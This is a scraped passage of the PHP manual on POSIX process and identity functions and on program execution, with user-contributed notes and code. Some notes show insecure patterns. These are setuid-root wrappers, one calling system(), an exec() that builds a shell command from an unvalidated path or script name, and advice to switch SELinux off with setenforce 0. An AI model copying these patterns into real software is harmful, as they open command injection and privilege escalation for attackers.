            if (! file_exists($fifoPath)) {
                posix_mkfifo($fifoPath, $mode);
            }

            $fifo = fopen($fifoPath, 'w');
            sleep(1);

            exit(0);
        }
        else {
            usleep(15);

            return fopen($fifoPath, 'r');
        }
    }

    static public function stream_fifo_write($fifoPath, $mode, $data) {
        if (pcntl_fork() == 0) {
            if (! file_exists($fifoPath)) {
                posix_mkfifo($fifoPath, $mode);
            }

            $fifo = fopen($fifoPath, 'w');

            fwrite($fifo, $data);

            exit(0);
        }
    }

    public function __construct(
        $fifoInputName, $fifoInputMode,
        $fifoOutputName, $fifoOutputMode
    ) {
        $this->fifos = array(
            'input' => array(
                'file' => self::stream_fifo_open($fifoInputName, $fifoInputMode),
                'mode' => $fifoInputMode,
                'name' => $fifoInputName,
                'use' => 'r',
            ),
            'output' => array(
                'mode' => $fifoOutputMode,
                'name' => $fifoOutputName,
                'use' => 'w'
            )
        );
    }
    public function remove($type = null) {
        switch ($type) {
            case 'input':
                @unlink($this->fifos['input']['name']);
                break;

            case 'output':
                @unlink($this->fifos['output']['name']);
                break;

            default:
                @unlink($this->fifos['input']['name']);
                @unlink($this->fifos['output']['name']);
        }
    }

    public function receive($bytes = 1024) {
        $readers = array($this->fifos['input']['file']);
        if (stream_select($readers, $writers = null, $except = null, 0, 15) == 1) {
            $data = fread($this->fifos['input']['file'], $bytes);
        }

        if (! empty($data)) {
            $this->data .= $data;
            return true;
        }
        else {
            return false;
        }
    }

    public function getData() {
        return $this->data;
    }

    public function clearData() {
        $this->data = null;
    }

    public function send($data) {
        $fifoOutput = & $this->fifos['output'];
        self::stream_fifo_write($fifoOutput['name'], $fifoOutput['mode'], $data);
    }
}

$fifoCommunication = new FIFOCommunication(
    getmypid() . '.input', 0600,
    getmypid() . '.output', 0600
);

echo "COMMUNICATION STARTED\n";

while (true) {
    if ($fifoCommunication->receive()) {
        $data = $fifoCommunication->getData();
        if ($data == "EXIT\n") {
            break;
        }
        else {
            $fifoCommunication->send('RECEIVED: ' . $fifoCommunication->getData());
        }
    }

    sleep(1);
}

$fifoComunication->remove();
?>
tim 17-Mar-2009 07:00
For non-blocking, fopen'd read access to a "half-connected" pipe (created with /usr/bin/mkfifo, posix_mkfifo, etc.), I just go ahead and do:
<?php
  $fh=fopen($fifo, "r+"); // ensures at least one writer (us) so will be non-blocking
  stream_set_blocking($fh, false); // prevent fread / fwrite blocking
?>

The "r+" allows fopen to return immediately regardless of external  writer channel.  You then have to use your own conventions to track $fh as a pseudo-read-only resource, since fwrite would technically be permitted as well.  I've successfully used this approach on Linux with PHP 4.3.10 and PHP 5.2.4 with both half-connected (no writer yet) and pre-connected (writer already waiting) pipes, polling with stream_select as usual.
mike at easystyle dot org 14-Oct-2008 02:06
Couldn't you just open up a writer yourself right after you open up a reader?  Just to be sure that you won't have any blocking issues...
TorokAlpar at Gmail dot com 05-Apr-2008 09:11
Here is a possible solution to what  - tech at kwur dot com- mentioned:

 I faced the problem where i had a process (a server) that needed to take care of socket connection, and in the meanwhile get some data from the database. I didn't wanted to make the clients wait for the query execution time, so i decided to make a separate process that executes the query on the DB, and the two would communicate over a pipe. Of course i didn't wanted the server blocking if no data was available. So what i come up with is to use stream_select() , and to overcome the mentioned problem, i would fork the process, open up the pipe for writing in the child, this way the parent won't block when it opens the pipe.

here is some code

<code>

<?php

if (pcntl_fork() == 0)
{
    // kid
    $file = fopen("JobsQueue","w");
    sleep(1);
    exit(0);
}
else
{
    usleep(15); // make sure that the child executes first
    $file = fopen("JobsQueue","r");
}

 echo "opened the queue \n";

 while (true)
 {
     $reders = array($file);
     if (stream_select($reders,$writers=null,$except=null,0,15) < 1)
     {
         continue;
     }
     else
     {
         // read data from the fifo
         $data = fread($file,1024);
         echo $data;
     }
     sleep(1);
 }

?>

</code>
tech at kwur dot com 20-Sep-2007 07:44
This is still not a solution: if I listen to commands on a pipe and output status on a separate pipe, PHP will block on both opens because something else has not already connected to this pipe.  Because I can't do a low-level fcntl() to to set O_NONBLOCK or something like it, this always locks up and is really stupid.  The only way I can get it to work is to spawn seperate subshells with system() and have them cat, or echo respectively and then the pipes work properly...usually?  Its alot of trouble that we can't set the blocking on the open!!
Enric Jaen 16-Aug-2007 06:22
A way to have a non-blocking pipe reader is to check first if the pipe exists. If so, then read from the pipe, otherwise do other stuff. This will work assuming that the writer creates the pipe, writes on it, and after that deletes the pipe.

This is a blocking writer:

<?php
   $pipe="/tmp/pipe";
   $mode=0600;
   if(!file_exists($pipe)) {
      // create the pipe
      umask(0);
      posix_mkfifo($pipe,$mode);
   }
   $f = fopen($pipe,"w");
   fwrite($f,"hello");  //block until there is a reader
   unlink($pipe); //delete pipe

?>

And this is the non-blocking reader:

<?php
   $pipe="/tmp/pipe";
   if(!file_exists($pipe)) {
      echo "I am not blocked!";
   }
   else {
      //block and read from the pipe
      $f = fopen($pipe,"r");
      echo fread($f,10);
   }
?>
Uther Pendragon 18-May-2007 11:12
Note (quoted from `man 7 pipe` on debian linux):

"On some systems (but not Linux), pipes are bidirectional:  data  can  be  transmitted  in  both directions  between  the pipe ends.  According to POSIX.1-2001, pipes only need to be unidirectional.  Portable applications should avoid reliance on bidirectional pipe semantics."

Linux pipes are NOT bidirectional.

Also, it appears to me that the use of fifo (named) pipes in php is pretty pointless as there appears to be NO way of determining whether opening (let alone reading) from it will block.  stream_select SHOULD be able to accomplish this, unfortunatly you cannot get to this point because even trying to OPEN a pipe for read will block until there is a writer.

I even tried to use popen("cat $name_of_pipe", 'r'), and even it blocked until it was opened for write by another process.


Create a special or ordinary file (POSIX.1)

  • « posix_mkfifo
  • posix_setegid »
  • PHP Manual
  • POSIX Functions
  • Create a special or ordinary file (POSIX.1)

posix_mknod

(PHP 5 >= 5.1.0)

posix_mknod — Create a special or ordinary file (POSIX.1)

Description

bool posix_mknod ( string $pathname , int $mode [, int $major = 0 [, int $minor = 0 ]] )

Creates a special or ordinary file.

Parameters

pathname

The file to create

mode

This parameter is constructed by a bitwise OR between file type (one of the following constants: POSIX_S_IFREG, POSIX_S_IFCHR, POSIX_S_IFBLK, POSIX_S_IFIFO or POSIX_S_IFSOCK) and permissions.

major

The major device kernel identifier (required to pass when using S_IFCHR or S_IFBLK).

minor

The minor device kernel identifier.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 A posix_mknod() example

<?php

$file = '/tmp/tmpfile';  // file name
$type = POSIX_S_IFBLK;   // file type
$permissions = 0777;     // octal
$major = 1;
$minor = 8;              // /dev/random

if (!posix_mknod($file, $type | $permissions, $major, $minor)) {
    die('Error ' . posix_get_last_error() . ': ' . posix_strerror(posix_get_last_error()));
}

?>

See Also

  • posix_mkfifo() - Create a fifo special file (a named pipe)

User Contributed Notes

There are no user contributed notes for this page.


Set the effective GID of the current process

  • « posix_mknod
  • posix_seteuid »
  • PHP Manual
  • POSIX Functions
  • Set the effective GID of the current process

posix_setegid

(PHP 4 >= 4.0.2, PHP 5)

posix_setegid — Set the effective GID of the current process

Description

bool posix_setegid ( int $gid )

Set the effective group ID of the current process. This is a privileged function and needs appropriate privileges (usually root) on the system to be able to perform this function.

Parameters

gid

The group id.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 posix_setegid() example

This example will print out the effective group id, once changed.

<?php
echo 'My real group id is '.posix_getgid(); //20
posix_setegid(40);
echo 'My real group id is '.posix_getgid(); //20
echo 'My effective group id is '.posix_getegid(); //40
?>

See Also

  • posix_getgrgid() - Return info about a group by group id
  • posix_getgid() - Return the real group ID of the current process
  • posix_setgid() - Set the GID of the current process

User Contributed Notes

There are no user contributed notes for this page.


Set the effective UID of the current process

  • « posix_setegid
  • posix_setgid »
  • PHP Manual
  • POSIX Functions
  • Set the effective UID of the current process

posix_seteuid

(PHP 4 >= 4.0.2, PHP 5)

posix_seteuid — Set the effective UID of the current process

Description

bool posix_seteuid ( int $uid )

Set the real user ID of the current process. This is a privileged function and needs appropriate privileges (usually root) on the system to be able to perform this function.

Parameters

uid

The user id.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • posix_setgid() - Set the GID of the current process

User Contributed Notes

There are no user contributed notes for this page.


Set the GID of the current process

  • « posix_seteuid
  • posix_setpgid »
  • PHP Manual
  • POSIX Functions
  • Set the GID of the current process

posix_setgid

(PHP 4, PHP 5)

posix_setgid — Set the GID of the current process

Description

bool posix_setgid ( int $gid )

Set the real group ID of the current process. This is a privileged function and needs appropriate privileges (usually root) on the system to be able to perform this function. The appropriate order of function calls is posix_setgid() first, posix_setuid() last.

Note:

If the caller is a super user, this will also set the effective group id.

Parameters

gid

The group id.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 posix_setgid() example

This example will print out the effective group id, once it is changed.

<?php
echo 'My real group id is '.posix_getgid(); //20
posix_setgid(40);
echo 'My real group id is '.posix_getgid(); //40
echo 'My effective group id is '.posix_getegid(); //40
?>

See Also

  • posix_getgrgid() - Return info about a group by group id
  • posix_getgid() - Return the real group ID of the current process

User Contributed Notes

jac 26-May-2011 07:26
if you're going to use this along with posix_setuid, make sure you call posix_setgid first:

<?php
define (PROC_USER, 'john');
define (PROC_GRP, 'admins');
?>

following works:

<?php
$user = posix_getpwnam( PROC_USER );
$group = posix_getgrnam( PROC_GRP);

echo posix_getuid()."\n";
echo posix_getgid()."\n";

posix_setgid($group['gid']);
posix_setuid($user['uid']);

echo posix_getuid()."\n";
echo posix_getgid()."\n";
?>

following will not set gid

<?php
$user = posix_getpwnam( PROC_USER );
$group = posix_getgrnam( PROC_GRP);

echo posix_getuid()."\n";
echo posix_getgid()."\n";

posix_setuid($user['uid']);
posix_setgid($group['gid']);

echo posix_getuid()."\n";
echo posix_getgid()."\n";
?>


Set process group id for job control

  • « posix_setgid
  • posix_setsid »
  • PHP Manual
  • POSIX Functions
  • Set process group id for job control

posix_setpgid

(PHP 4, PHP 5)

posix_setpgid — Set process group id for job control

Description

bool posix_setpgid ( int $pid , int $pgid )

Let the process pid join the process group pgid.

Parameters

pid

The process id.

pgid

The process group id.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • See POSIX.1 and the setsid(2) manual page on the POSIX system for more informations on process groups and job control.

User Contributed Notes

There are no user contributed notes for this page.


Make the current process a session leader

  • « posix_setpgid
  • posix_setuid »
  • PHP Manual
  • POSIX Functions
  • Make the current process a session leader

posix_setsid

(PHP 4, PHP 5)

posix_setsid — Make the current process a session leader

Description

int posix_setsid ( void )

Make the current process a session leader.

Return Values

Returns the session id, or -1 on errors.

See Also

  • The POSIX.1 and the setsid(2) manual page on the POSIX system for more information on process groups and job control.

User Contributed Notes

karlsson dot nicklas at gmail dot com 23-Jan-2008 05:32
Very useful when making daemons, for example:

<?php
    $pid = pcntl_fork(); // fork
    if ($pid < 0)
        exit;
    else if ($pid) // parent
        exit;
    else { // child

        $sid = posix_setsid();

        if ($sid < 0)
            exit;

        for($i = 0; $i <= 60; $i++) { // do something for 5 minutes
            sleep(5);
        }
    }
?>


Set the UID of the current process

  • « posix_setsid
  • posix_strerror »
  • PHP Manual
  • POSIX Functions
  • Set the UID of the current process

posix_setuid

(PHP 4, PHP 5)

posix_setuid — Set the UID of the current process

Description

bool posix_setuid ( int $uid )

Set the real user ID of the current process. This is a privileged function that needs appropriate privileges (usually root) on the system to be able to perform this function.

Parameters

uid

The user id.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 posix_setuid() example

This example will show the current user id and then set it to a different value.

<?php
echo posix_getuid()."\n"; //10001
echo posix_geteuid()."\n"; //10001
posix_setuid(10000);
echo posix_getuid()."\n"; //10000
echo posix_geteuid()."\n"; //10000
?>

See Also

  • posix_setgid() - Set the GID of the current process
  • posix_seteuid() - Set the effective UID of the current process
  • posix_getuid() - Return the real user ID of the current process
  • posix_geteuid() - Return the effective user ID of the current process

User Contributed Notes

Leigh 22-May-2014 11:08
Note that on unix, if your target user does not have a valid shell, some php functions (eg: tempnam) will not work correctly:

$ grep www-data /etc/passwd
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

$ cat test.php
#!/usr/bin/php -q
<?php
    $info=posix_getpwnam("www-data");
    $id=$info["uid"];

    $file=tempnam("/tmp","something");
    print "PRE SetUID: $file\n";

    $SETUID=posix_setuid($id);

    $file=tempnam("/tmp","something");
    print "POST SetUID: $file\n";
?>

$ sudo ./test.php
PRE SetUID: /tmp/somethingrsb1qZ
POST SetUID:
fm at farhad.ca 17-Oct-2007 12:44
When you do a posix_setuid from root to some other users you will not have access to files owned by root according to their permissions. For instance if you change owner of the process and still need to open a file for read or write with 600 permission owned by root you will receive a permission denied.
There are some ways to do this (i.e. a unix socket or tcp daemon etc), but probably the most easiest way is:

Open the file before changing ownership of process, save the file pointer in a global variable and use it after changing ownership.

For example assume /root/test_file is a file owned by root:root and have a permission of 600 and you are running this script under root. This code will not work:

<?php
// Change ownership of process to nobody
posix_setgid(99);
posix_setuid(99);

$fd = fopen('/root/test_file','a');
fwrite($fd,"some test strings");
fclose();

?>

But this one will work:

<?php
$fd = fopen('/root/test_file','a');

// Change ownership of process to nobody
posix_setgid(99);
posix_setuid(99);

fwrite($fd,"some test strings");
fclose();

?>

Hope this helps some one.

[Tested on CentOS 5 - Linux 2.6.x - PHP 5.2.x]
reuben @ nospam me 26-Apr-2007 03:25
In response to a note above that advocated the user of system() in a setuid program written in C, this is generally a bad idea for security.

You should use the standard library calls like execl() instead because system() can be manipulated to execute the wrong thing using the SHELL, IFS and possibly other variables.
TheWanderer 09-Feb-2007 01:16
On many UNIX systems (tested on Debian GNU/Linux), SUID is disabled for scripts and works only for binaries. If you need to setuid, you must use a wrapper binary that runs setuid() php script. Here's an example:

$ nano suexec.cpp
#include <stdlib>
using namespace std;
int main()
{
system("php /home/php/php_user.php");
return 0;
}

$ g++ -o suexec suexec.cpp
$ sudo chown root:root suexec
$ sudo chmod 4755 root

Then we create short PHP script to set process uid (you should already know how to do this). Don't even try to experiment with auto_prepend_file in php.ini, it doesn't work as expected.
hpaul/at/abo/dot/fi 29-Jul-2006 08:56
It seems like this function returns true if you try to change uid to the already active user - even if you aren't root.

Should save you one if-statement in some cases.
rjmooney at syr dot edu 09-Nov-2003 12:40
For simple operations, you can easily create a privilege-separation mechanism to perform commands that require elevated privileges.

For example, in creating a document repository, I had the need to provide access to certain directory and file operations based on a user's login name.  It's unrealistic and unsecure to provide the web server access to all of the directories that the user may need to access, so I created a setuid() script to perform the required operations for me.

An exerpt from the code demonstrates this:

<?

//
// main.php
//

// Perform a privileged stat()
function privsep_stat($path)
{
        // Call the privilege separation program, ask for a stat of the specified path
        $serialized_result = exec("/path/to/privsep.php stat " . $path, $oa, $return_code);
        if ($return_code != 0)
        {
                return false;
        }

        // Return the unserialized object
        return unserialize($serialized_result);
}

// Get file statistics on a file we don't have access to as the web server user
$st = privsep_stat("/private_directory/private_file");
print_r($st);

?>

privsep.php looks like this:

#!/usr/local/bin/php
<?

//
// privsep.php
//

// Don't allow this script to be run from the web
if (isset($_SERVER['REQUEST_METHOD']))
{
    print "<br>This program is not intended to be run directly from the WWW.\n";
    return 1;
}

// TODO: add your argument validation here

// A stat was requested
if ($argv[1] == "stat")
{
    // Reset the stat() cache
    clearstatcache();

    // Original user ID
    $original_uid = posix_get_uid();

    // Set our real user ID to root
    $success = posix_setuid(0);
    if (!$success)
    {
        print "Error: Cannot setuid().\n";
        return 1;
    }

    // Store the file statistics
    $st = stat($argv[2]);

    // Drop the real UID back to the calling user ID
    $success = posix_setuid($original_uid);
    if (!$success)
    {
        print "Error: Cannot setuid().\n";
        return 1;
    }

    // Drop the effective UID as well
    $success = posix_seteuid($original_uid);
    if (!$success)
    {
        print "Error: Cannot seteuid().\n";
        return 1;
    }

    // Serialize the result and print it
    $result = serialize($st);
    print $result;

    // Success!
    return 0;
}
?>

Finally, privsep.php's permissions are configured like this:

# chown root:wheel privsep.php
# chmod 4755 privsep.php

And look like this:

-rwsr-xr-x  1 root      wheel     1000 Nov  1 00:00 privsep.php

It's probably wise to keep privsep.php out of your document root to help mitigate any successful attack.

This method can be extended for other functions.  Use at your own risk.
simon at dont-spam-me-pleease dot simonster dot com 03-Aug-2002 12:53
Here's some Perl code to run a PHP script setuid. Just put it into a CGI, make that CGI setuid and executable, then call the CGI where you would usually call the PHP script.

#!/usr/local/bin/perl

# Perl wrapper to execute a PHP script setuid
# �2002 Simon Kornblith
# Requires PHP CGI

# Make UID = EUID (so that PHP can run system()s and execs() setuid)
$< = $>;
# Set this to the path, so that we can't get poisoned
$ENV{'PATH'} = "/home/httpd/cgi-bin/ssl/admin";
# Open the PHP script (must start with !#/usr/local/bin/php or similar and
# be executable
open(STDOUT, "| /home/httpd/cgi-bin/ssl/admin/new.php");
# Write STDIN to PHP script
print while <STDIN>;


Retrieve the system error message associated with the given errno

  • « posix_setuid
  • posix_times »
  • PHP Manual
  • POSIX Functions
  • Retrieve the system error message associated with the given errno

posix_strerror

(PHP 4 >= 4.2.0, PHP 5)

posix_strerror — Retrieve the system error message associated with the given errno

Description

string posix_strerror ( int $errno )

Returns the POSIX system error message associated with the given errno. You may get the errno parameter by calling posix_get_last_error().

Parameters

errno

A POSIX error number, returned by posix_get_last_error(). If set to 0, then the string "Success" is returned.

Return Values

Returns the error message, as a string.

Examples

Example #1 posix_strerror() example

This example will attempt to kill a process which does not exist, then will print out the corresponding error message.

<?php
posix_kill(50,SIGKILL);
echo posix_strerror(posix_get_last_error())."\n";
?>

The above example will output something similar to:

No such process

See Also

  • posix_get_last_error() - Retrieve the error number set by the last posix function that failed

User Contributed Notes

There are no user contributed notes for this page.


Get process times

  • « posix_strerror
  • posix_ttyname »
  • PHP Manual
  • POSIX Functions
  • Get process times

posix_times

(PHP 4, PHP 5)

posix_times — Get process times

Description

array posix_times ( void )

Gets information about the current CPU usage.

Return Values

Returns a hash of strings with information about the current process CPU usage. The indices of the hash are:

  • ticks - the number of clock ticks that have elapsed since reboot.
  • utime - user time used by the current process.
  • stime - system time used by the current process.
  • cutime - user time used by current process and children.
  • cstime - system time used by current process and children.

Notes

Warning

This function isn't reliable to use, it may return negative values for high times.

Examples

Example #1 Example use of posix_times()

<?php

$times = posix_times();

print_r($times);
?>

The above example will output something similar to:

Array
(
    [ticks] => 25814410
    [utime] => 1
    [stime] => 1
    [cutime] => 0
    [cstime] => 0
)

User Contributed Notes

brain at winbot dot co dot uk 27-Jun-2004 03:14
doesnt work with freebsd. as stated above the clock ticks at different intervals on different platforms.

for system uptime consider piping the uptime command or similar, depending on if performance is an issue or not.
not_rich_yet at hotmail dot com 20-Jul-2003 01:21
If you want the output to be 'grammatically correct' then try the following code.  It will eg print '1 minute' as opposed to '1 minutes', the same goes for days and hours:

Put the following code somewhere in the head of the page code:

<?php
function uptime() {
if (!$times = posix_times() ) {
return ("unknown");
} else {
$now = $times['ticks'];
$days = intval($now / (60*60*24*100));
$remainder = $now % (60*60*24*100);
$hours = intval($remainder / (60*60*100));
$remainder = $remainder % (60*60*100);
$minutes = intval($remainder / (60*100));
if ($days == 1) {$writeDays = "day";} else {$writeDays = "days";}
if ($hours == 1) {$writeHours = "hour"; } else {$writeHours = "hours";}
if ($minutes == 1) {$writeMins = "minute";} else {$writeMins = "minutes";}
return ("$days $writeDays, $hours $writeHours, $minutes $writeMins");
}
}
?>

Then put this bit where you want the info displayed:

<?php
print uptime();
?>

Regards,

nry
murphy at nmc-online dot co dot uk 17-Jun-2003 08:01
I am not sure why, and it could just be me but on my FreeBSD system using
$time = posix_times();
$time['ticks'] is an enormous value that bears no relation to the system uptime (I tested by rebooting the system,  the number does not change).
I checked my timecounters, they tick every 10.000msec and I did the maths on the returned value and it suggested the machine had been up for over 200 days - it was reformatted about a week ago.
This could be to do with FreeBSD, or *BSD, or just *idiots like me but just check before you use the function.
 ~
FreeBSD 5.1-R, Apache 2.0.46, PHP4.3.2
rossz+php at vamos-wentworth dot org 20-Nov-2002 10:42
This function will return the system uptime as a human readable string such as "172 days, 18 hours, 15 minutes".  I didn't bother to handle singular so the grammar could be a bit off, e.g. 1 hours.

function uptime() {
  if (!$times = posix_times()) {
    return ("unknown");
  } else {
    $now = $times['ticks'];
    $days = intval($now / (60*60*24*100));
    $remainder = $now % (60*60*24*100);
    $hours = intval($remainder / (60*60*100));
    $remainder = $remainder % (60*60*100);
    $minutes = intval($remainder / (60*100));
    return ("$days days, $hours hours, $minutes minutes");
  }
}


Determine terminal device name

  • « posix_times
  • posix_uname »
  • PHP Manual
  • POSIX Functions
  • Determine terminal device name

posix_ttyname

(PHP 4, PHP 5)

posix_ttyname — Determine terminal device name

Description

string posix_ttyname ( mixed $fd )

Returns a string for the absolute path to the current terminal device that is open on the file descriptor fd.

Parameters

fd

The file descriptor, which is expected to be either a file resource or an integer. An integer will be assumed to be a file descriptor that can be passed directly to the underlying system call.

In almost all cases, you will want to provide a file resource.

Return Values

On success, returns a string of the absolute path of the fd. On failure, returns FALSE

User Contributed Notes

casper at bcx dot nl 19-Apr-2006 04:10
<?php
    var_dump( posix_ttyname(STDOUT) );
?>

returns:
string(10) "/dev/pts/0"

When using pseudo terminal 1 (ie ssh)


Get system name

  • « posix_ttyname
  • Program execution »
  • PHP Manual
  • POSIX Functions
  • Get system name

posix_uname

(PHP 4, PHP 5)

posix_uname — Get system name

Description

array posix_uname ( void )

Gets information about the system.

Posix requires that assumptions must not be made about the format of the values, e.g. the assumption that a release may contain three digits or anything else returned by this function.

Return Values

Returns a hash of strings with information about the system. The indices of the hash are

  • sysname - operating system name (e.g. Linux)
  • nodename - system name (e.g. valiant)
  • release - operating system release (e.g. 2.2.10)
  • version - operating system version (e.g. #4 Tue Jul 20 17:01:36 MEST 1999)
  • machine - system architecture (e.g. i586)
  • domainname - DNS domainname (e.g. example.com)

domainname is a GNU extension and not part of POSIX.1, so this field is only available on GNU systems or when using the GNU libc.

Examples

Example #1 Example use of posix_uname()

<?php
$uname=posix_uname();
print_r($uname);
?>

The above example will output something similar to:

Array
(
    [sysname] => Linux
    [nodename] => funbox
    [release] => 2.6.20-15-server
    [version] => #2 SMP Sun Apr 15 07:41:34 UTC 2007
    [machine] => i686
)

User Contributed Notes

boards at gmail dot com 29-Jan-2006 06:24
Or, a simpler way to do that:

<?php
print_r(posix_uname());
?>

Should print something like:

Array
(
    [sysname] => Linux
    [nodename] => vaio
    [release] => 2.6.15-1-686
    [version] => #2 Tue Jan 10 22:48:31 UTC 2006
    [machine] => i686
)
sean at thedesignpeople dot com 10-Aug-2004 05:39
A simple example of how to loop thru and display the results of the posix_uname() function...

<?php
foreach(posix_uname() AS $key=>$value) {
    print $key .": ". $value ."<br>";
}
?>

The procedure above should return something similar to the following results:

sysname: Linux
nodename: node1
release: 2.4.26
version: #6 Mon Jun 14 19:07:27 PDT 2004
machine: i686


System program execution

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Program execution Functions
    • escapeshellarg — Escape a string to be used as a shell argument
    • escapeshellcmd — Escape shell metacharacters
    • exec — Execute an external program
    • passthru — Execute an external program and display raw output
    • proc_close — Close a process opened by proc_open and return the exit code of that process
    • proc_get_status — Get information about a process opened by proc_open
    • proc_nice — Change the priority of the current process
    • proc_open — Execute a command and open file pointers for input/output
    • proc_terminate — Kills a process opened by proc_open
    • shell_exec — Execute command via shell and return the complete output as a string
    • system — Execute an external program and display the output

User Contributed Notes

There are no user contributed notes for this page.


Introduction

Those functions provide means to execute commands on the system itself, and means to secure such commands.

Note:

All execution functions call the commands through cmd.exe under Windows. Therefore the user calling these functions needs appropriate privilege to run this command. The only exception is proc_open() with bypass_shell option.

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

This extension defines a process resource, returned by proc_open().

User Contributed Notes

There are no user contributed notes for this page.


Program execution Functions

Notes

Warning

Open files with lock (especially open sessions) should be closed before executing a program in the background.

See Also

These functions are also closely related to the backtick operator. Also, while in safe mode you must consider the safe_mode_exec_dir directive.

Table of Contents

  • escapeshellarg — Escape a string to be used as a shell argument
  • escapeshellcmd — Escape shell metacharacters
  • exec — Execute an external program
  • passthru — Execute an external program and display raw output
  • proc_close — Close a process opened by proc_open and return the exit code of that process
  • proc_get_status — Get information about a process opened by proc_open
  • proc_nice — Change the priority of the current process
  • proc_open — Execute a command and open file pointers for input/output
  • proc_terminate — Kills a process opened by proc_open
  • shell_exec — Execute command via shell and return the complete output as a string
  • system — Execute an external program and display the output

User Contributed Notes

benkitzelman at yahoo dot co dot uk 20-Aug-2010 05:02
Within Linux, when calling the php interpreter directly from popen, or other program execution function to execute a script, it appears as though the script perpetually fails and re-executes.

i.e. <?php popen("php myscript.php&", "w"); // fail ?>

As each re-execution causes the executing script to load under a new PID, it is incredibly difficult to identify and kill the process manually.

[One solution is] to ensure the executing script has a valid shebang, and execute permissions. This allows you to execute the script directly

i.e. <?php popen("./myscript.php", "w"); // ok ?>
Anonymous 09-Jul-2008 07:34
I found this comment on this page:

[begin of quote]
Trying to us the following code failed badly with various results: like "unable to fork", "access denied", "empty results", depending on what settings I used, ... even though the same code worked from command line on the server itself.

$retstr = exec('nslookup -type=mx myhost.com', $retarr);

Instead of nslookup I believe this would apply to most programs from the \system32\ directory.

I had to learn that the following finally worked:
$retstr = exec('c:\php\safedir\nslookup -type=mx myhost.com', $retarr);

... but only under the listed preconditions:
1: nslookup.exe is placed (copied) in the directory \php\safedir\
2: the directory \php\safedir\ is included in the system PATH environement variable
3: the file cmd.exe is placed in \php\ as listed by other notes above
4: the directory "c:\php\safedir\" is set in the php.ini setting
safe_mode_exec_dir = "c:\php\safedir\"
.. maybe set in php-activescript.ini as well, depending on your system setup.
5: nslookup is referenced by the full path as otherwise the file from \windows\system32\ will be called. This happend to me with empty result due to missing rights!

Hope this helps somebody saving some time and headaches.
[end of quote]

This is just to complicated. Only two things are needed:
1. Specific permissions for the IUSR account for read & execute to the cmd.exe in C:\Windows\System32 directory
2. Specific permissions for the IUSR account for read & execute to the command that's needed (example: nslookup.exe in C:\Widnows\System23 directory)

With just this two conditions the exec works fine

(This is for an IIS server running on a windows platform)
mosesdinakaran at yahoo dot co dot in 17-Mar-2008 03:49
Hi

     I had  problem with executing   exec(),shell_exec() (PHP is not running on Safe Mode).

     After spending some time I was able to find out that the Problem is  with SELinux enabled in my system.

      You can make sure about this by seeing the log  /var/log/messages
     So I disabled SELinux and now everything works.

     A Temporary  Disable to selinux #> setenforce 0;

     Since I felt this is not a good Idea I still went through some sites and find a solution which I felt good.

     Fedora's SELinux policy has some booleans - let's see what it has for our apache:
# /usr/sbin/getsebool -a | grep httpd
allow_httpd_anon_write -- off
allow_httpd_mod_auth_pam -- off
allow_httpd_sys_script_anon_write -- off
httpd_builtin_scripting -- on
httpd_can_network_connect -- off
httpd_can_network_connect_db -- off
httpd_can_network_relay -- off
httpd_disable_trans -- off
httpd_enable_cgi -- on
httpd_enable_ftp_server -- off
httpd_enable_homedirs -- on
httpd_rotatelogs_disable_trans -- off
httpd_ssi_exec --off
httpd_suexec_disable_trans -- off
httpd_tty_comm -- off
httpd_unified -- on

   From the above we can make sure that exec() is not working  because of this httpd_ssi_exec -- off   setting
  So I turned it On.

#> setsebool -P httpd_ssi_exec 1;

    Now I was able to see the output of shell_exec('ls -al')

Moses
luko post cz 30-Jan-2008 03:15
to lancelot:

it's simple exec($my_cmd) on windows executes 'cmd /c $my_cmd'
if there are any spaces in $my_cmd you have to put it in doublequotes:
cmd /c "$app $target" will work

further if there are any spaces in $app and $target they also have to be in doublequotes:
cmd /c ""$app" "$target""

therefore enclose your $cmd in two more doublequotes and dont forget to escape slashes \\

$cmd = "\"\"C:\\my path with spaces\\targetapp.exe\" \"C:\\mypathnospaces\\targetfile.xxx\"\"";

and exec($cmd) will work :)
no chdir anymore...
lancelot--du-lac at hotmail dot fr 25-Jan-2008 08:00
The note is about usage of exec() under windows...

In replay to k dot mitz dot NO_SPAM at att dot NO_SPAM dot net: why not enclose your $cmd in simple quotes instead?

Here is where i'm at right now (also TRYING to use exec() and passthru() on windows XP sp2):

you can do this:

$cmd = '"C:\my path with spaces\targetapp.exe" C:\mypathnospaces\targetfile.xxx';
exec($cmd);

The above works.
________

Or, you can put your script into your directory C:\my path with spaces\, and work with php directly from there:

$cmd = 'targetapp.exe "C:\my other path with spaces\targetfile.xxx"';
exec($cmd);

The above also works, provided of course your script has the correct working directory.
________

But... In your cmd.exe, you can issue:

"C:\my path with spaces\targetapp.exe" "C:\my other path with spaces\targetfile.xxx"

Although the above works perfectly in the cmd, the following php script does NOT work on my system:

$cmd = '"C:\my path with spaces\targetapp.exe" "C:\my other path with spaces\targetfile.xxx"';
exec($cmd,&$content);

Not that it sends an error, it just does nothing, and you get nothing written into your $content array... Not that I do understand why.
________

As far as my few tryings go, the root of the problem lies in the fact that the command to execute has two passages enclosed inside double quotes. Another command which I've had working in the cmd but NOT with php is:

'"C:\my path with spaces\Apache2\bin\Apache.exe" -w -n "Apache2" -k restart'

Maybe someone has a solution; I don't (other than using chdir).
jakster at gmx dot net 05-Jan-2008 01:56
To fork a process I use the following code

<?php

fclose(STDOUT);   //Close all output or it WON'T work
fclose(STDIN);
fclose(STDERR);

if(pcntl_fork()) {
    exit;            //Return to the caller
}

//Code to run in the background

pcntl_exec("/usr/bin/php",Array($_SERVER['argv'][1]));

?>

I call this script from my website with
<?php
function fork($script){        //run a forked php script relative to the document root. NO OUTPUT IS DISPLAYED!
    global $config;
    $cmd = "/usr/bin/php \"" . dirname($_SERVER['SCRIPT_FILENAME']) . "/includes/forked/forkHelper.php\" \"" . $script . "\"";
    exec($cmd);
}
?>
Odie 14-Dec-2007 09:22
